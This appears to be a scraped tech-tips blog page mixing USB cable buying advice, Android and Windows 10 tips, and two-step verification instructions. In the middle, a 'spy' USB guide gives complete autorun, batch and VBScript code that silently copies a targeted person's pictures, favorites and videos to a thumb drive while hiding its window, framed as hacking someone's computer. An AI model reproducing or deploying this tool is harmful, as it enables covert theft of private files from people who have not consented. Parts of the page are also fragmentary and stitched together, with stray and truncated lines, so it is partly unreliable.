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2 Simple Ways To Identify Original USB Cable

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The world is slowly shifting towards USB (Universal Serial Bus) Type-C cables/connectors for smartphones and gadgets. Most of the new devices launched this year came with the USB type-C. Notwithstanding, a good number of devices still use the micro-USB cables/connectors which have been a standard for years now. USB cables are used to connect smartphones to a computer and as well as charge smartphones.<br />
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Everyone knows it is best to use USB Chargers that originally came with your device for charging. The problem is getting a suitable replacement when the original is bad or missing.<br />
Using fake chargers or USB cables, you will most likely experience slow charge or slower data transfer rate while transferring files to a PC. In some cases, a PC may not detect your phone if the USB cable is a knockoff<br />
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How do you identify original Micro-USB Cable for replacement?</h3>
Here are two simple ways to identify Original USB cables, both by physical observation.<br />
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1. Check the type of conductor.</h4>
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Before buying a USB Cable, take a good look at the bus/contact. You can see the contact through two holes as shown in the picture below. Look out for the color of the conductor inside. If it is gold, that means it's having a copper conductor which is fine. If its aluminum, it's probably fake. This is because copper has very high conductivity compared to aluminum. It has higher current density, hence for the given current rating lesser cross-sectional area of the conductor is required. Aluminium is less expensive and mostly used by small accessories makers to cut down cost.<br />
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<tr><td class="tr-caption" style="text-align: center;">Original USB with Copper conductors, Aluminium Conductors perform poorer</td></tr>
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2. Check the PINs of the micro-USB Connector</h4>
Another way is to check the number of pins in the micro-USB connector. Observe the side that connects to your smartphone's micro-USB port, check the number of Pins you find inside. Using an original Samsung micro-USB  cable as a case study. You will see that the fourth pin is missing.<br />
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While that of the fake USB cable is complete.<br />
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So when next you go to buy a USB cable, please carefully observe so you won't be getting a fake. Knockoffs are usually cheaper and most people may want to cut cost.<br />
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N/B: The first method can be used for other USB cables, it isn't limited to micro-USBs alone.<br />
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Hope this was helpful? If you have other ways to identify original USB cables, feel free to drop it in the comments.<br />
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Go to iTunes, Try to rent a large movie (e.g., Lord of the Rings: Two Towers). <br />
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Back-up your photos (automatically) for free</h4>
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Make your phone snappy with faster animations</h4>
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 If want to make your phone run fast, then you might want to disable those animations and transitions. You can do so by going to Setting > About Device > Build Number - Now press it seven times and you shall have developer's access. Under Developer options you can find Window animation scale, Transition animation scale, and Animator duration scale.<br />
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Do a Google search from anywhere<br />
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See useful information on your lock screen</h4>
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Are you tired of again & again unlocking your phone just to have a quick look at something, well then you don't have to anymore. Go to Settings > Security > Enable widgets, then go to the lockscreen - swipe left and click the big plus sign - Now you can select which widgets to place on your lockscreen<br />
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You aren’t limited to Google Play store, there are others</h4>
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If you think that one can download apps only from Google Play store, well then think again. Amazon has an app store of its own and sometimes even offers apps for free that would cost a good amount of money on Google Play store. It also has something called ‘App of the Day' section that gives out cool offers.<br />
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Changing Default Apps</h4>
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You can change the default app settings done by the company in your phone; Go to Settings > Apps - Swipe right & go to All Tab > Select the App & click on Clear Default<br />
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Save battery on GPS mode</h4>
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You can save a lot of battery life especially when you are on the go, if you are not using too much of GPS services. Android has a built-in setting that allows you to select between three different modes: high accuracy, battery saving, and device only. Just go to Setting > Location > Mode, this way you could save that much needed battery percentages<br />
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Shut Off Autocorrect If You Are Using Google Keyboard</h4>
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In order to avoid those embarrassing moments those happen when the Autocorrect changes a word to something that you don't want to actually send to your boss or wife. Just simply Go to Settings > Language & input > Click on the settings icon next to the keyboard that you are using, e.g. Google Keyboard. Look for Auto-correction and turn it off.<br />
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Try out different launchers</h4>
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If you are bored from the same old mobile interface of yours then it's time to use some of those cool Launchers available at the Google Play store. Nova, Yahoo Aviate, ADW and Buzz are one of the most popular and free launchers available in the market. These launchers can also make your mobile interface run faster and more interesting<br />
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Locate and wipe your lost phone<br />
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Stolen mobile phone is a nightmare for anyone or having it misplaced is another frustrating thing too. So what to do in situations like these? Panic! No...You play it all smart by remotely locating, locking and even erasing your phone. Ofcourse there are various apps available these days to provide such services but very few people know that there is an in-built feature too. With Android Device Manager you can do just exactly that, just go to google.com/android/devicemanager, select your phone and choose to locate it, ring it, lock it, or even erase it. You can do so much more with a simple tool, if you know how to use it; this article is probably on the similar lines. Hope you enjoyed the tricks and will use it to improve your Android experience.<br />
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My name is Bond, James Bond... Yea, you can get that spy-like feeling with this guide from <a href="http://instructable.com/" target="_blank">instructable</a>. It teaches you how to make a USB drive that features 5 files and is capable of automatically copying the user’s favorites, pictures and video folders to itself.<br />
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1. Materials Needed</h3>
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The materials that you will need are listed below.<br />
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Flash/thumb drive (8/16/32 GB)<br />
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A computer you can use to configure USB.<br />
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The targeted computer.<br />
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The USB drive size depends on what kind of data you’re planning to pick up. The bigger the better.<br />
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2. Create An Autorun File For The Flash Drive</h3>
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There is no particular order in which these files need to be created. Just ensure that you do create all of these files before trying out the USB. The first step is creating the autorun.inf file. This file will be used right away when you insert the USB into a computer. and will also allow you to change the thumb drive icon into something that is more likely to get clicked upon.<br />
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icon=drive.ico<br />
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open=launch.bat<br />
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shell\open\command=launch.bat”<br />
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Once you save the file, make sure you select the ‘save it as all files’ option. If you wish to change the drive icon, simply find a .png file and name it to drive.ico. Next time when you plug the USB in, the thumb drive’s icon will be the image file. Moving on in the code, the next line is ‘open=command’. This code line launches the batch file. The next line is of action and basically is what the prompt will read to the user whose system you’re trying to hack. The shell/open command acts as a backup in case the user clicks on cancel instead of opening when prompted. The code will execute as soon the drive letter is clicked on.<br />
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3. Make A File To Initiate Copying Of Data</h3>
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This is the heart of your DIY USB and as before, you will have to copy the code in a word file and save it as file.bat. The code is as follows,<br />
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“@echo off<br />
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:: variables<br />
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SET odrive=%odrive:~0,2%<br />
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set backupcmd=xcopy /s /c /d /e /h /i /r /y<br />
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%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”<br />
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%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”<br />
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%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”<br />
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@echo off<br />
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cls”<br />
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You can change the code to pick up the music files by changing it to %backupcmd% “%USERPROFILE%\music” “%drive%\all\music”.<br />
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4. Make A vb Script To Run Batch File As Invisible</h3>
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Again, copy this code in a word file and save it as invisible.vbs.</div>
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“CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False”</div>
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5. Make A Batch File For Launching Files From Step 3 & 4</h3>
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This batch file will look for invisible.vbs file and loads it using file.bat. Again, copy the code using word and save the file as launch.bat. The code is as follows,</div>
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“wscript.exe \invisible.vbs file.bat”</div>
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6. Create Folder Where Copied Files Will Be Saved</h3>
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Create a folder in the thumb drive named ‘all’. This folder will have the items copied to it.</div>
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7. Copy The Created Files Into USB Drive And Voila</h3>
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Now copy all the created files to the root of the USB drive and hide them. Now plug the USB into a computer and let it work. Once it has copied all the items, the LED light will stop flashing and you can plug it out.</div>
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Source: <a href="http://wonderfulengineering.com/" target="_blank">Wonderful Engineering</a></div>

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Have you upgraded to the latest Windows 10 OS for PC? Here are some useful tips you may need.<br />
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Customizing Your Desktop</h3>
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Being able to customize your computer is of course nothing new. But Microsoft has introduced a few new ways of making it your own and firmly stamping your personality upon it.</div>
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The first is the ability to customize the login screen. You can choose between standard backgrounds that Microsoft already has in store, or you can upload your own. After that, choose the apps’ statuses you want to appear on the login screen (if any).</div>
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You can also, for the first time, change the color of the Start menu. A Start menu which has ballooned in size so much it urgently needs to go on a diet. Just the fact you can change the Start menu’s color is a huge departure from Microsoft’s M.O. — in the past, the company offered less customization.</div>
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Virtual Desktops</h3>
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Multiple monitors are all the rage these days. But if you don’t have the money or the space for more than one monitor, then Windows 10 may have just the alternative for you – virtual desktops. It’s not totally the same, but close enough.</div>
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Virtual Desktops enable you to create an unlimited number of desktops on one instance of Windows 10. So you can have one for work, one for personal stuff, one for your secret passion for finding and looking at David Hasselhoff pictures, and of course another one dedicated to looking for freedom. When you want to switch between them, it’s just a matter of a keyboard shortcut.</div>
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To make a new desktop, simply use the keyboard shortcut WIN + TAB. This will show you all your open windows. In the bottom right hand corner is an option – “+ New desktop”. Click on that and wham-bam thank you ma’am, you have a new desktop. Then for super-duper speed, you can do CTRL + WIN + left/right arrow to bounce between them. Try it out when the boss is approaching and you need to get back to those spreadsheets.</div>
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The Command Prompt Gets Some Love</h3>
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For the first time in a long time, the good old command prompt window has received a lick of paint. Instead of boring black, you can now have colors such as red, blue, green, violet, even yellow if your eyes can take it. Then you can change the font (but not the color unfortunately) and the cursor size, and enable line wrapping, among others.</div>
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But the best part has to be copying and pasting text into the command prompt box. Before, it wasn’t possible, and you had to laboriously type in long commands (and start again if you made one tiny error). Now, you can copy and paste from a webpage.</div>
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To access the new preferences, simply right-click the title bar and choose “Preferences“. </div>
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Dark Mode</h3>
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If you dig dark and you want a dark Windows operating system, then open up your Run menu and type regedit to open the Registry. Then go to HKEY_CURRENT_USER > SOFTWARE > Microsoft > Windows > CurrentVersion > Themes > Personalize. In the right-hand list is one called “AppsUseLightTheme”. Double-click on that to open the box, and change “Value Data” from a 1 to a 0. Click “OK” to close.</div>
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If you do not see “AppsUseLightTheme,” you can create it by right-clicking in the registry window, selecting New, and then selecting DWORD (32-bit) Value. Make sure the “value data” field is set to 0.</div>
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By changing the value to a 0, you are switching off the Light Theme, and reverting everything to Dark. But to see the change, you need to log out of your PC and log back in. Obviously it goes without saying that if you eventually leave the Cool Kids Club and decide to abandon black, you just need to change that 0 back to a 1, or just delete the value.</div>
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Putting a Muzzle On Notifications</h3>
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I blame smartphones for this one. On a phone, notifications are absolutely insidious (except my missed calls function, my text messages, and the self-confidence app telling me every hour on the hour how stunningly handsome I am). Therefore nearly all of my app notifications are switched off. A quiet phone is an unsmashed phone.</div>
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When notifications have arrived on Windows PC’s, I almost started sobbing. They tell you virtually everything that’s going on, and it isn’t long before that Windows notification sound starts to grate on your nerves.</div>
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Thankfully, there is a very easy way to switch off ALL notifications. Simply make your way to Start > Settings > System > Notifications and actions</div>
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If you then scroll down, you will see options to switch off various notifications. Pick and choose what you want and don’t want. If you would like a recommendation, turn them all off. Your sanity will thank you later.</div>
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Tighter Integration With Skype</h3>
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Since Skype belongs to Microsoft, tighter Skype integration with the Windows OS was to be expected. This takes the form of a lightweight video call app called Skype Video. You can find it by doing a Windows Search for the same.</div>
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It’s a Skype without all the bells-and-whistles. A Skype which is totally separate to the full desktop app. I don’t personally use this lightweight video app, since the desktop app does the same job more than adequately. Why reinvent the wheel?</div>
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So why have two identical apps doing exactly the same thing? It’s hard to figure out Redmond’s thinking on this one, but I suppose if you have an old computer which is in the habit of slowing down after a while, it is helpful to have a Skype which takes fewer system resources.</div>
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All Apps, Now With App Snapping</h3>
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App snapping is a feature which you don’t realize you need until you know it’s there. Then you wonder how you ever managed to cope without it. Windows snapping is not a new feature by itself, having been a staple of Windows 8. But Windows 10 improves upon it by expanding the function to ALL installed apps.</div>
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To use it, drag an app window to the top corner of the monitor screen. It will then “snap” into the corner nice and snug, and take up one half of the screen. Then open another app window, drag it into the opposite top corner of the monitor screen, and watch it fill up the remaining space on the screen. Or you can, if you want, actually have four different windows, each taking up 25 percent of the screen. Just push the window towards one of the four corners of the screen, and watch them snap into place.</div>
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The advantage? You can now browse the Internet while taking notes in MS Word or Notepad. Or compare what a webpage looks like in several different browsers, which would be invaluable for web developers. No more switching between apps with your mouse. Now it can all stay on the screen at the same time. </div>
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Storage Analysis</h3>
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We’ve all met this phenomenon before. We buy a 1TB drive, thinking “oh that will last for ages!” then a couple of months later, you discover you have 100MB left. Where did the space go? Was it aliens? All those bootleg copies of Knight Rider? Who stole all your hard-drive space?!</div>
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To find out what is hogging your drives, you can now choose one of your drives, then be given a breakdown of what is taking up all of the space. </div>
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Stop Cortana from using Bing</h3>
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One of the strikes against Cortana is its use of Bing when searching online for you. It’s understandable that Microsoft pushing their own search engine, but friends don’t let their friends use Bing. It’s just not done, you hear?</div>
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Unfortunately you can’t change Cortana’s search engine to Google or Duck Duck Go, but at the very least, you can easily disable Cortana’s ability to call home to the Bing mothership.</div>
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You can perform this act of mercy by opening up your newly decorated Windows menu, and typing in “Edit group policy.” This will open up something called the Local Group Policy Editor, then you need to go to Administrative Templates–>Windows Components–>Search. Look down the list until you find “Do not allow web search,” double-click that, and when the next window opens, set it to “Enabled.” Click "OK" and finally restart “explorer.exe.” Goodbye Bing!</div>
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Background Scrolling</h3>
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Windows 10 fixes this annoying little quirk. If you go to the settings, then Devices–>Mouse & touchpad, you can enable an option called “Scroll inactive windows when I hover over them.” Then, as the option says, hover over the intended window with your mouse and start moving the scrolling wheel. Look! The window moves!</div>
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Source: <a href="http://www.digitaltrends.com/" target="_blank">Digital Trends</a></div>
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Turn on 2-Step Verification to Protect Your Google and Facebook Accounts

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If you’re concerned about somebody hacking into your accounts, whether it’s a family member or an online thief,  with 2-step verification it’ll make things that much harder for them.<br />
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click on the triangle in the upper right-hand corner, then click on “security” on the left side of the page, and click on “login approvals.” Check the box that says “require a security code to access my account from unknown browsers” and enter your phone number. </div>
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Go to myaccount.google.com, click on “sign in & security,” scroll down to “password & sign in method,” and click on two-step verification. This will launch a new window. You’ll have to click on “start setup” to get things rolling… then you can enter your number and choose to receive your codes via text message or voice calls.</div>
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Google will send you a code to verify that the number works, then you can choose to “trust this computer,” which means you won’t need a code every time you log in. Finally, you can turn on two-step verification.</div>
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Want To Save Battery in Your Smartphone? Delete Facebook App

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Not only is the Facebook App a performance hog, but it's a huge battery killer, especially in combination with the Facebook Messenger app. If you want to improve performance of your smartphones (Android, iOS), you may want to consider deleting the facebook app.<br />
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Although the Facebook app reportedly drains your phone's battery, it does provide conveniences. A lot of other apps plug into the app to make sharing easier, for example. If you take a photo on Instagram, you'll lose the ability to immediately share it to Facebook via the app.<br />
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If you're willing to trade slight conveniences for better battery, though, here's what you need to do:<br />
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3. Scroll down to "Account Settings"<br />
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